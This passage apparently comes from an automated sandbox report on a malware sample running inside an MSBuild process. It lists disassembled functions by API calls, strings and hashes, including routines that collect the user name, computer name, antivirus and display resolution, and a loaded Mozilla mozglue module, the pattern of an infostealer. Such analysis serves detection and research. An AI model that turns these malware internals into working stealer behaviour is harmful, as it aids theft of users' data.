strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000), ref: 6CA8CA2E
free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6CA8CAA5

Strings

(null), xrefs: 6CA8C596
0, xrefs: 6CA8D30A

Memory Dump Source

Source File: 00000009.00000002.2667401382.000000006CA61000.00000020.00000001.01000000.0000000B.sdmp, Offset: 6CA60000, based on PE: true

Associated: 00000009.00000002.2667367232.000000006CA60000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000009.00000002.2667674104.000000006CADD000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000009.00000002.2667734306.000000006CAEE000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000009.00000002.2667763692.000000006CAF2000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_6ca60000_MSBuild.jbxd

Similarity

API ID: ByteCharMultiWidestrlen$freemalloc
String ID: (null)$0
API String ID: 4074790623-38302674
Opcode ID: 0dd311131d5e7b6502c9693ef9ca338b2e7fd8749872f88aaeec2500c25b5670
Instruction ID: 2a9310b5045fa4374096e42128cdb853d3f0efaeeaa4b9ebb2d78d05b1a282f0
Opcode Fuzzy Hash: 0dd311131d5e7b6502c9693ef9ca338b2e7fd8749872f88aaeec2500c25b5670
Instruction Fuzzy Hash: 53A1903060A3429FDB04DF28C58475ABBF1EF89748F088A2DE99997741D735D885CF92

Function 6CA63480 Relevance: 17.6, APIs: 8, Strings: 2, Instructions: 86librarytimeloaderCOMMON

Download Yara Rule

APIs

GetCurrentProcess.KERNEL32(?,?,?,?,?,?,?,6CA63284,?,?,6CA856F6), ref: 6CA63492
GetProcessTimes.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,?,6CA63284,?,?,6CA856F6), ref: 6CA634A9
LoadLibraryW.KERNEL32(kernel32.dll,?,?,?,?,?,?,?,?,6CA63284,?,?,6CA856F6), ref: 6CA634EF
GetProcAddress.KERNEL32(00000000,GetSystemTimePreciseAsFileTime), ref: 6CA6350E
__Init_thread_footer.LIBCMT ref: 6CA63522
__aulldiv.LIBCMT ref: 6CA63552
FreeLibrary.KERNEL32(?,?,?,?,?,?,?,?,6CA63284,?,?,6CA856F6), ref: 6CA6357C
GetSystemTimeAsFileTime.KERNEL32(?,?,?,?,?,?,?,?,6CA63284,?,?,6CA856F6), ref: 6CA63592

Part of subcall function 6CA9AB89: EnterCriticalSection.KERNEL32(6CAEE370,?,?,?,6CA634DE,6CAEF6CC,?,?,?,?,?,?,?,6CA63284), ref: 6CA9AB94
Part of subcall function 6CA9AB89: LeaveCriticalSection.KERNEL32(6CAEE370,?,6CA634DE,6CAEF6CC,?,?,?,?,?,?,?,6CA63284,?,?,6CA856F6), ref: 6CA9ABD1

Strings

kernel32.dll, xrefs: 6CA634EA
GetSystemTimePreciseAsFileTime, xrefs: 6CA63508

Memory Dump Source

Source File: 00000009.00000002.2667401382.000000006CA61000.00000020.00000001.01000000.0000000B.sdmp, Offset: 6CA60000, based on PE: true

Associated: 00000009.00000002.2667367232.000000006CA60000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000009.00000002.2667674104.000000006CADD000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000009.00000002.2667734306.000000006CAEE000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000009.00000002.2667763692.000000006CAF2000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_6ca60000_MSBuild.jbxd

Similarity

API ID: CriticalLibraryProcessSectionTime$AddressCurrentEnterFileFreeInit_thread_footerLeaveLoadProcSystemTimes__aulldiv
String ID: GetSystemTimePreciseAsFileTime$kernel32.dll
API String ID: 3634367004-706389432
Opcode ID: 823def1cc061d0e83a9e5f7d1c7996748ede453aeab3f7530add8fc609dc70f1
Instruction ID: 598da7e25b5038671ba6fde54bb1738628f4bf921ec16aa765751fc9b0ac8bad
Opcode Fuzzy Hash: 823def1cc061d0e83a9e5f7d1c7996748ede453aeab3f7530add8fc609dc70f1
Instruction Fuzzy Hash: 9931C170B013479FDF48DFB9ED48AAA73B5FB4A304F14811AE54193A50DB309946DBA0

Function 0042675D Relevance: 17.6, APIs: 9, Strings: 1, Instructions: 64COMMON

Download Yara Rule

APIs

_free.LIBCMT ref: 00426784
_free.LIBCMT ref: 00426792
_free.LIBCMT ref: 0042679D
_free.LIBCMT ref: 00426771

Part of subcall function 0041DA8B: HeapFree.KERNEL32(00000000,00000000,?,0041D2D9,00000000,0043B79C,0041D320,0040EEBE,?,?,0041D40A,0043B79C,?,?,0042ED88,0043B79C), ref: 0041DAA1
Part of subcall function 0041DA8B: GetLastError.KERNEL32(?,?,?,0041D40A,0043B79C,?,?,0042ED88,0043B79C,?,?,?), ref: 0041DAB3

___free_lc_time.LIBCMT ref: 004267BB
_free.LIBCMT ref: 004267C6
_free.LIBCMT ref: 004267EB
_free.LIBCMT ref: 00426802
_free.LIBCMT ref: 00426811

Strings

xLC, xrefs: 004267AB

Memory Dump Source

Source File: 00000009.00000002.2631638237.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000009.00000002.2631638237.0000000000481000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.2631638237.00000000004C0000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.2631638237.00000000004C5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.2631638237.00000000004E4000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.2631638237.0000000000503000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.2631638237.000000000059C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.2631638237.000000000065D000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.2631638237.0000000000670000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_400000_MSBuild.jbxd

Yara matches

Similarity

API ID: _free$ErrorFreeHeapLast___free_lc_time
String ID: xLC
API String ID: 3704779436-381350105
Opcode ID: 243e21990e70f9a3c5f17d483c4b9c8865d6b400f39af9c87473e714f18c534c
Instruction ID: 8cac7666a54ef9ad67cd13d94e6202e604d852b2b9b303282692c60b27ab9baf
Opcode Fuzzy Hash: 243e21990e70f9a3c5f17d483c4b9c8865d6b400f39af9c87473e714f18c534c
Instruction Fuzzy Hash: 991182B2A043129BDF20EF65F885A9A7395EF4134AF55493FF50497241CB3CAC80C629

Function 6CA64480 Relevance: 16.8, APIs: 11, Instructions: 316COMMON

Download Yara Rule

APIs

moz_xmalloc.MOZGLUE(B60B60B8,?,?,?,?,6CAA4843,?), ref: 6CA645F5
free.MOZGLUE(?,?,?,?,?,?,?,?,6CAA4843,?), ref: 6CA6468A
free.MOZGLUE(?,?,?,?,?,?,6CAA4843,?), ref: 6CA646C9
free.MOZGLUE(?), ref: 6CA646EF
free.MOZGLUE(?), ref: 6CA64712
free.MOZGLUE(?), ref: 6CA64735
free.MOZGLUE(?), ref: 6CA64758
free.MOZGLUE(?), ref: 6CA6477B
free.MOZGLUE(?), ref: 6CA6479E

Memory Dump Source

Source File: 00000009.00000002.2667401382.000000006CA61000.00000020.00000001.01000000.0000000B.sdmp, Offset: 6CA60000, based on PE: true

Associated: 00000009.00000002.2667367232.000000006CA60000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000009.00000002.2667674104.000000006CADD000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000009.00000002.2667734306.000000006CAEE000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000009.00000002.2667763692.000000006CAF2000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_6ca60000_MSBuild.jbxd

Similarity

API ID: free$moz_xmalloc
String ID:
API String ID: 3009372454-0
Opcode ID: 5c17c247d46d435337214d8f11badaf66d3b9b6dbbf24b2b52dd3ea77e6efc88
Instruction ID: 248085f41c54b45c6268be1ac3989967f83f77c9c234077fb1770b415da9af88
Opcode Fuzzy Hash: 5c17c247d46d435337214d8f11badaf66d3b9b6dbbf24b2b52dd3ea77e6efc88
Instruction Fuzzy Hash: 9EB1E271A005108FDB18DE3ED9B47AD76B2AF42328F184669E816DBFD6D730D8C48B91

Function 6CACAC20 Relevance: 16.6, APIs: 11, Instructions: 92fileCOMMON

Download Yara Rule

APIs

CreateFileW.KERNEL32 ref: 6CACAC52
CreateFileMappingW.KERNEL32 ref: 6CACAC7D
GetSystemInfo.KERNEL32 ref: 6CACAC98
MapViewOfFile.KERNEL32 ref: 6CACACB0
GetSystemInfo.KERNEL32 ref: 6CACACCD
MapViewOfFile.KERNEL32 ref: 6CACAD05
UnmapViewOfFile.KERNEL32 ref: 6CACAD1C
CloseHandle.KERNEL32 ref: 6CACAD28
UnmapViewOfFile.KERNEL32 ref: 6CACAD37
CloseHandle.KERNEL32 ref: 6CACAD43
CloseHandle.KERNEL32 ref: 6CACAD67

Memory Dump Source

Source File: 00000009.00000002.2667401382.000000006CA61000.00000020.00000001.01000000.0000000B.sdmp, Offset: 6CA60000, based on PE: true

Associated: 00000009.00000002.2667367232.000000006CA60000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000009.00000002.2667674104.000000006CADD000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000009.00000002.2667734306.000000006CAEE000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000009.00000002.2667763692.000000006CAF2000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_6ca60000_MSBuild.jbxd

Similarity

API ID: File$View$CloseHandle$CreateInfoSystemUnmap$Mapping
String ID:
API String ID: 1192971331-0
Opcode ID: f3e4271170580a1e1735c8e839c40f4db318247e89353ceec2659ddd9d4506d1
Instruction ID: fec5b7cb4168a460d2c52053ec7263aecdbd478ef7f249f2eab4ecd0d54e2a79
Opcode Fuzzy Hash: f3e4271170580a1e1735c8e839c40f4db318247e89353ceec2659ddd9d4506d1
Instruction Fuzzy Hash: 5B3164B1A047058FDB44AF7CD64C26EBBF1BF49305F018A2DE98587211EB749889CB82

Function 0041BADB Relevance: 15.9, APIs: 8, Strings: 1, Instructions: 175fileCOMMON

Download Yara Rule

APIs

GetFileInformationByHandle.KERNEL32(?,?,00000000,?,013C24C0), ref: 0041BB0F
GetFileSize.KERNEL32(?,00000000), ref: 0041BB88
SetFilePointer.KERNEL32(?,00000000,00000000,00000000), ref: 0041BBA4
ReadFile.KERNEL32(?,?,00000002,?,00000000), ref: 0041BBB8
SetFilePointer.KERNEL32(?,00000024,00000000,00000000), ref: 0041BBC1
ReadFile.KERNEL32(?,?,00000004,?,00000000), ref: 0041BBD1
SetFilePointer.KERNEL32(?,?,00000000,00000000), ref: 0041BBEF
ReadFile.KERNEL32(?,?,00000004,?,00000000), ref: 0041BBFF

Strings

, xrefs: 0041BB5B

Memory Dump Source

Source File: 00000009.00000002.2631638237.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000009.00000002.2631638237.0000000000481000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.2631638237.00000000004C0000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.2631638237.00000000004C5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.2631638237.00000000004E4000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.2631638237.0000000000503000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.2631638237.000000000059C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.2631638237.000000000065D000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.2631638237.0000000000670000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_400000_MSBuild.jbxd

Yara matches

Similarity

API ID: File$PointerRead$HandleInformationSize
String ID:
API String ID: 2979504256-3916222277
Opcode ID: b07237fb4f10cfbcc334c992335ad89d79030856b8218f6a94d6712ebdde5c25
Instruction ID: 459a2d24e54f8a646171db7d8990df60452748f967053102cf2e0fb2cd60fb91
Opcode Fuzzy Hash: b07237fb4f10cfbcc334c992335ad89d79030856b8218f6a94d6712ebdde5c25
Instruction Fuzzy Hash: 5651D971D0021CAFDB28DFA5D885AEEBBB9EF44304F10442AE515E7260E774AD85CF94

Function 0040DB7F Relevance: 15.9, APIs: 7, Strings: 2, Instructions: 109stringmemoryCOMMON

Download Yara Rule

APIs

lstrlenA.KERNEL32(?,750A5460,?,00000000), ref: 0040DBBB
strchr.MSVCRT ref: 0040DBCD
strchr.MSVCRT ref: 0040DBF2
lstrlenA.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,0040DCF7), ref: 0040DC14
GetProcessHeap.KERNEL32(00000008,-00000001,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 0040DC21
HeapAlloc.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,?,0040DCF7), ref: 0040DC28
strcpy_s.MSVCRT ref: 0040DC6F

Strings

`Tu, xrefs: 0040DBAA
0123456789ABCDEF, xrefs: 0040DB99

Memory Dump Source

Source File: 00000009.00000002.2631638237.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000009.00000002.2631638237.0000000000481000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.2631638237.00000000004C0000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.2631638237.00000000004C5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.2631638237.00000000004E4000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.2631638237.0000000000503000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.2631638237.000000000059C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.2631638237.000000000065D000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.2631638237.0000000000670000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_400000_MSBuild.jbxd

Yara matches

Similarity

API ID: Heaplstrlenstrchr$AllocProcessstrcpy_s
String ID: 0123456789ABCDEF$`Tu
API String ID: 453150750-1497512213
Opcode ID: fa0c789a19792dc347fd3471e21517be8c085a2b9abfaca1a306208e2a171469
Instruction ID: 66b4e52f283d0f44f810ea8958a0e86cb5e2441282104c6e6d5e072461108323
Opcode Fuzzy Hash: fa0c789a19792dc347fd3471e21517be8c085a2b9abfaca1a306208e2a171469
Instruction Fuzzy Hash: 39314C71D002199FDB00DFE8DC49A9EBBB9AF09355F100179E901BB281DB79A9098B94

Function 0041FA92 Relevance: 14.1, APIs: 3, Strings: 5, Instructions: 77COMMON

Download Yara Rule

APIs

UnDecorator::getArgumentList.LIBCMT ref: 0041FAB7

Part of subcall function 0041F652: Replicator::operator[].LIBCMT ref: 0041F6D5
Part of subcall function 0041F652: DName::operator+=.LIBCMT ref: 0041F6DD

DName::operator+.LIBCMT ref: 0041FB10
DName::DName.LIBCMT ref: 0041FB68

Strings

,..., xrefs: 0041FAFC, 0041FB08
<ellipsis>, xrefs: 0041FB52
..., xrefs: 0041FB4B, 0041FB57
,<ellipsis>, xrefs: 0041FB03
void, xrefs: 0041FB60

Memory Dump Source

Source File: 00000009.00000002.2631638237.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000009.00000002.2631638237.0000000000481000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.2631638237.00000000004C0000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.2631638237.00000000004C5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.2631638237.00000000004E4000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.2631638237.0000000000503000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.2631638237.000000000059C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.2631638237.000000000065D000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.2631638237.0000000000670000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_400000_MSBuild.jbxd

Yara matches

Similarity

API ID: ArgumentDecorator::getListNameName::Name::operator+Name::operator+=Replicator::operator[]
String ID: ,...$,<ellipsis>$...$<ellipsis>$void
API String ID: 834187326-2211150622
Opcode ID: 56f446ee6c1cb4535532eaba65fd35935e1f9c97760db88423e34b82217865c2
Instruction ID: 4fbab30ed0f7c280ee621250eab99e28f5e8fa3157f622782464c69e5c7bd782
Opcode Fuzzy Hash: 56f446ee6c1cb4535532eaba65fd35935e1f9c97760db88423e34b82217865c2
Instruction Fuzzy Hash: 26217130605208AFCB11DF5CD4549A97BF4EF4534AB44806AE845DB362D738F987CB48

Function 0042142C Relevance: 14.1, APIs: 7, Strings: 1, Instructions: 55COMMON

Download Yara Rule

APIs

UnDecorator::UScore.LIBCMT ref: 00421436
DName::DName.LIBCMT ref: 00421442

Part of subcall function 0041F10C: DName::doPchar.LIBCMT ref: 0041F13D

UnDecorator::getScopedName.LIBCMT ref: 00421481
DName::operator+=.LIBCMT ref: 0042148B
DName::operator+=.LIBCMT ref: 0042149A
DName::operator+=.LIBCMT ref: 004214A6
DName::operator+=.LIBCMT ref: 004214B3

Strings

void, xrefs: 00421492

Memory Dump Source

Source File: 00000009.00000002.2631638237.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000009.00000002.2631638237.0000000000481000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.2631638237.00000000004C0000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.2631638237.00000000004C5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.2631638237.00000000004E4000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.2631638237.0000000000503000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.2631638237.000000000059C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.2631638237.000000000065D000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.2631638237.0000000000670000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_400000_MSBuild.jbxd

Yara matches

Similarity

API ID: Name::operator+=$Name$Decorator::Decorator::getName::Name::doPcharScopedScore
String ID: void
API String ID: 1480779885-3531332078
Opcode ID: 93969ac5e5e5bd8bc601dc2a0972c9a20acbae03e717c9bf82c440e5d506c8ea
Instruction ID: 7552a301aca1f3a45ee683c8018724b7eda571f2bbd5743f4786fee459a75993
Opcode Fuzzy Hash: 93969ac5e5e5bd8bc601dc2a0972c9a20acbae03e717c9bf82c440e5d506c8ea
Instruction Fuzzy Hash: 99110630A00208AFC714EF24D855AE9BBB0AF10305F4440ABE406DB2E3DB38DA86C709

Function 00411563 Relevance: 14.0, APIs: 7, Strings: 1, Instructions: 45memoryCOMMON

Download Yara Rule

APIs

CreateDCA.GDI32(00000000,00000000,00000000,00000000), ref: 00411575
GetDeviceCaps.GDI32(00000000,00000008), ref: 00411580
GetDeviceCaps.GDI32(00000000,0000000A), ref: 0041158B
ReleaseDC.USER32(00000000,00000000), ref: 00411596
GetProcessHeap.KERNEL32(00000000,00000104,?,?,00414098,?,Display Resolution: ,004368F4,00000000,User Name: ,004368E4,00000000,Computer Name: ,004368D0,AV: ,004368C4), ref: 004115A2
HeapAlloc.KERNEL32(00000000,?,?,00414098,?,Display Resolution: ,004368F4,00000000,User Name: ,004368E4,00000000,Computer Name: ,004368D0,AV: ,004368C4,Install Date: ), ref: 004115A9
wsprintfA.USER32 ref: 004115BB

Part of subcall function 004104E7: lstrcpyA.KERNEL32(00000000,00000000,?,004171C5,004366CD,?,?,?,?,004186D9), ref: 0041050D

Strings

%dx%d, xrefs: 004115B5

Memory Dump Source

Source File: 00000009.00000002.2631638237.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000009.00000002.2631638237.0000000000481000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.2631638237.00000000004C0000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.2631638237.00000000004C5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.2631638237.00000000004E4000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.2631638237.0000000000503000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.2631638237.000000000059C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.2631638237.000000000065D000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.2631638237.0000000000670000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_400000_MSBuild.jbxd

Yara matches

Similarity

API ID: CapsDeviceHeap$AllocCreateProcessReleaselstrcpywsprintf
String ID: %dx%d
API String ID: 3940144428-2206825331
Opcode ID: 2455ee3b90cb9d15ce74e627ae3c3686d5434a61c88732fec4f6ec31122e63eb
Instruction ID: 170008d2b248a6dac6df5cacbd3238be6a4bc1abd9d224a85ffebcf6f0d8f3fd
Opcode Fuzzy Hash: 2455ee3b90cb9d15ce74e627ae3c3686d5434a61c88732fec4f6ec31122e63eb
Instruction Fuzzy Hash: 59F0C832601320BBEB249BA59C0DD9B7EAEEF467A7F005451F605D2160E6B75E4087A0

Function 6CA73E80 Relevance: 13.7, APIs: 9, Instructions: 246memoryCOMMON

Download Yara Rule

APIs

RtlAllocateHeap.NTDLL(?,00000000,?,?,?,?,?,?,6CA73CCC), ref: 6CA73EEE
RtlFreeHeap.NTDLL(?,00000000,?), ref: 6CA73FDC
RtlAllocateHeap.NTDLL(?,00000000,00000040,?,?,?,?,?,6CA73CCC), ref: 6CA74006
RtlFreeHeap.NTDLL(?,00000000,?), ref: 6CA740A1
RtlFreeUnicodeString.NTDLL(?,?,00000000,?,?,00000000,?,?,?,?,?,?,6CA73CCC), ref: 6CA740AF
RtlFreeUnicodeString.NTDLL(?,?,00000000,?,?,00000000,?,?,?,?,?,?,6CA73CCC), ref: 6CA740C2
RtlFreeHeap.NTDLL(?,00000000,?), ref: 6CA74134
RtlFreeUnicodeString.NTDLL(?,?,00000000,?,?,00000000,00000040,?,?,?,?,?,6CA73CCC), ref: 6CA74143
RtlFreeUnicodeString.NTDLL(?,?,?,00000000,?,?,00000000,00000040,?,?,?,?,?,6CA73CCC), ref: 6CA74157

Memory Dump Source

Source File: 00000009.00000002.2667401382.000000006CA61000.00000020.00000001.01000000.0000000B.sdmp, Offset: 6CA60000, based on PE: true

Associated: 00000009.00000002.2667367232.000000006CA60000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000009.00000002.2667674104.000000006CADD000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000009.00000002.2667734306.000000006CAEE000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000009.00000002.2667763692.000000006CAF2000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_6ca60000_MSBuild.jbxd

Similarity

API ID: Free$Heap$StringUnicode$Allocate
String ID:
API String ID: 3680524765-0
Opcode ID: b13ab191b94d3bc336a0173e00329c51f753acdad4a2e35824d3aa2c58c5bb22
Instruction ID: d6ca57c828a5a8ffca3b6f077ab41fc5a31867a56173ea170d46f776c9740b4c
Opcode Fuzzy Hash: b13ab191b94d3bc336a0173e00329c51f753acdad4a2e35824d3aa2c58c5bb22
Instruction Fuzzy Hash: 08A19DB5A01215CFDB50CF68C88065AB7B5FF48308F2A41A9D909AF742D775E986CFA0

Function 6CAB9D00 Relevance: 13.7, APIs: 9, Instructions: 178timeCOMMON

Download Yara Rule

APIs

??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,6CAB8273), ref: 6CAB9D65
free.MOZGLUE(6CAB8273,?), ref: 6CAB9D7C
free.MOZGLUE(?,?), ref: 6CAB9D92
??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(?,?), ref: 6CAB9E0F
free.MOZGLUE(6CAB946B,?,?), ref: 6CAB9E24
free.MOZGLUE(?,?,?), ref: 6CAB9E3A
??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(?,?,?), ref: 6CAB9EC8
free.MOZGLUE(6CAB946B,?,?,?), ref: 6CAB9EDF
free.MOZGLUE(?,?,?,?), ref: 6CAB9EF5

Memory Dump Source

Source File: 00000009.00000002.2667401382.000000006CA61000.00000020.00000001.01000000.0000000B.sdmp, Offset: 6CA60000, based on PE: true

Associated: 00000009.00000002.2667367232.000000006CA60000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000009.00000002.2667674104.000000006CADD000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000009.00000002.2667734306.000000006CAEE000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000009.00000002.2667763692.000000006CAF2000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_6ca60000_MSBuild.jbxd

Similarity

API ID: free$StampTimeV01@@Value@mozilla@@
String ID:
API String ID: 956590011-0
Opcode ID: 5cf88c6d2a02a66cfef971d2e400af4de40742cb2d5b1d14731fdb48c2016ffe
Instruction ID: a0535c0347707f8100f511664963e24e5f6d67f3417e28e395c8d52e31a6652d
Opcode Fuzzy Hash: 5cf88c6d2a02a66cfef971d2e400af4de40742cb2d5b1d14731fdb48c2016ffe
Instruction Fuzzy Hash: 2071807050AB418BD712CF29C68055BF3F5FF99315B449619EC5A5B701EB30E8C5CB91

Function 6CABDDC0 Relevance: 13.7, APIs: 9, Instructions: 152COMMON

Download Yara Rule

APIs

?profiler_get_core_buffer@baseprofiler@mozilla@@YAAAVProfileChunkedBuffer@2@XZ.MOZGLUE ref: 6CABDDCF

Part of subcall function 6CA9FA00: ReleaseSRWLockExclusive.KERNEL32(?), ref: 6CA9FA4B

Part of subcall function 6CAB90E0: free.MOZGLUE(?,00000000,?,?,6CABDEDB), ref: 6CAB90FF
Part of subcall function 6CAB90E0: free.MOZGLUE(?,00000000,?,?,6CABDEDB), ref: 6CAB9108

free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6CABDE0D
free.MOZGLUE(00000000), ref: 6CABDE41
free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6CABDE5F
free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6CABDEA3
free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6CABDEE9
free.API-MS-WIN-CRT-HEAP-L1-1-0(?,6CAADEFD,?,6CA74A68), ref: 6CABDF32

Part of subcall function 6CABDAE0: ??1MutexImpl@detail@mozilla@@QAE@XZ.MOZGLUE ref: 6CABDB86
Part of subcall function 6CABDAE0: ??1MutexImpl@detail@mozilla@@QAE@XZ.MOZGLUE ref: 6CABDC0E

free.API-MS-WIN-CRT-HEAP-L1-1-0(?,6CAADEFD,?,6CA74A68), ref: 6CABDF65
free.MOZGLUE(?), ref: 6CABDF80

Part of subcall function 6CA85E90: EnterCriticalSection.KERNEL32(-0000000C), ref: 6CA85EDB
Part of subcall function 6CA85E90: memset.VCRUNTIME140(6CAC7765,000000E5,55CCCCCC), ref: 6CA85F27
Part of subcall function 6CA85E90: LeaveCriticalSection.KERNEL32(?), ref: 6CA85FB2

Memory Dump Source

Source File: 00000009.00000002.2667401382.000000006CA61000.00000020.00000001.01000000.0000000B.sdmp, Offset: 6CA60000, based on PE: true

Associated: 00000009.00000002.2667367232.000000006CA60000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000009.00000002.2667674104.000000006CADD000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000009.00000002.2667734306.000000006CAEE000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000009.00000002.2667763692.000000006CAF2000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_6ca60000_MSBuild.jbxd

Similarity

API ID: free$CriticalImpl@detail@mozilla@@MutexSection$?profiler_get_core_buffer@baseprofiler@mozilla@@Buffer@2@ChunkedEnterExclusiveLeaveLockProfileReleasememset
String ID:
API String ID: 112305417-0
Opcode ID: f7aa92272b197f8d3f110c1059fb6830c13283b9ebd5ca948659a341909b8728
Instruction ID: 714d429acc277c9606bf03fa363824929015e4161b352ac447857ac018457997
Opcode Fuzzy Hash: f7aa92272b197f8d3f110c1059fb6830c13283b9ebd5ca948659a341909b8728
Instruction Fuzzy Hash: C651C772E057019BD711CB28C9806AEB37ABF95708F99051CE81A73B04D731F89ACB92

Function 6CAC5D10 Relevance: 13.6, APIs: 9, Instructions: 126COMMON

Download Yara Rule

APIs

